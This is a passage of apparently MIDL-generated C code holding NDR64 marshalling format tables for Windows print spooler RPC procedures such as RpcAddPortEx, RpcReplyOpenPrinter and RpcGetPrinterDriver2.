FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag705,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag706,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag709,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag714,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 16777215 /* 0xffffff */,\n        &__midl_frag718,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag703_t __midl_frag703 =\n{ \n/* PORT_CONTAINER */\n    { \n    /* PORT_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag704\n        },\n        { \n        /* PORT_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag702_t __midl_frag702 =\n{ \n/* *PORT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag703\n};\n\nstatic const __midl_frag699_t __midl_frag699 =\n{ \n/* RpcAddPortEx */\n    { \n    /* RpcAddPortEx */      /* procedure RpcAddPortEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPortContainer */      /* parameter pPortContainer */\n        &__midl_frag703,\n        { \n        /* pPortContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortVarContainer */      /* parameter pPortVarContainer */\n        &__midl_frag724,\n        { \n        /* pPortVarContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pMonitorName */      /* parameter pMonitorName */\n        &__midl_frag1081,\n        { \n        /* pMonitorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag697_t __midl_frag697 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag696_t __midl_frag696 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag697\n};\n\nstatic const __midl_frag695_t __midl_frag695 =\n{ \n/* RpcReplyClosePrinter */\n    { \n    /* RpcReplyClosePrinter */      /* procedure RpcReplyClosePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* phNotify */      /* parameter phNotify */\n        &__midl_frag697,\n        { \n        /* phNotify */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag692_t __midl_frag692 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 512 /* 0x200 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag691_t __midl_frag691 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag692\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag690_t __midl_frag690 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag691\n};\n\nstatic const __midl_frag686_t __midl_frag686 =\n{ \n/* RpcRouterReplyPrinter */\n    { \n    /* RpcRouterReplyPrinter */      /* procedure RpcRouterReplyPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hNotify */      /* parameter hNotify */\n        &__midl_frag1072,\n        { \n        /* hNotify */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* fdwFlags */      /* parameter fdwFlags */\n        &__midl_frag1082,\n        { \n        /* fdwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuffer */      /* parameter cbBuffer */\n        &__midl_frag739,\n        { \n        /* cbBuffer */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pBuffer */      /* parameter pBuffer */\n        &__midl_frag690,\n        { \n        /* pBuffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag683_t __midl_frag683 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 512 /* 0x200 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag682_t __midl_frag682 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag683\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag681_t __midl_frag681 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag682\n};\n\nstatic const __midl_frag677_t __midl_frag677 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag676_t __midl_frag676 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag677\n};\n\nstatic const __midl_frag673_t __midl_frag673 =\n{ \n/* RpcReplyOpenPrinter */\n    { \n    /* RpcReplyOpenPrinter */      /* procedure RpcReplyOpenPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pMachine */      /* parameter pMachine */\n        &__midl_frag1081,\n        { \n        /* pMachine */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* phPrinterNotify */      /* parameter phPrinterNotify */\n        &__midl_frag677,\n        { \n        /* phPrinterNotify */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* dwPrinterRemote */      /* parameter dwPrinterRemote */\n        &__midl_frag1082,\n        { \n        /* dwPrinterRemote */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* dwType */      /* parameter dwType */\n        &__midl_frag1082,\n        { \n        /* dwType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuffer */      /* parameter cbBuffer */\n        &__midl_frag739,\n        { \n        /* cbBuffer */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pBuffer */      /* parameter pBuffer */\n        &__midl_frag681,\n        { \n        /* pBuffer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag669_t __midl_frag669 =\n{ \n/* RpcFindClosePrinterChangeNotification */\n    { \n    /* RpcFindClosePrinterChangeNotification */      /* procedure RpcFindClosePrinterChangeNotification */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag668_t __midl_frag668 =\n{ \n/* Opnum55NotUsedOnWire */\n    { \n    /* Opnum55NotUsedOnWire */      /* procedure Opnum55NotUsedOnWire */\n        (NDR64_UINT32) 16777280 /* 0x1000040 */,    /* explicit handle */ /* IsIntrepreted, HasExtensions */\n        (NDR64_UINT32) 8 /* 0x8 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    }\n};\n\nstatic const __midl_frag664_t __midl_frag664 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1087\n};\n\nstatic const __midl_frag656_t __midl_frag656 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag655_t __midl_frag655 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag654_t __midl_frag654 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag655\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag656\n    }\n};\n\nstatic const __midl_frag653_t __midl_frag653 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag654\n};\n\nstatic const __midl_frag648_t __midl_frag648 =\n{ \n/* RpcGetPrinterDriver2 */\n    { \n    /* RpcGetPrinterDriver2 */      /* procedure RpcGetPrinterDriver2 */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 88 /* 0x58 */ ,  /* Stack size */\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 11 /* 0xb */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag1080,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDriver */      /* parameter pDriver */\n        &__midl_frag653,\n        { \n        /* pDriver */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1087,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1087,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    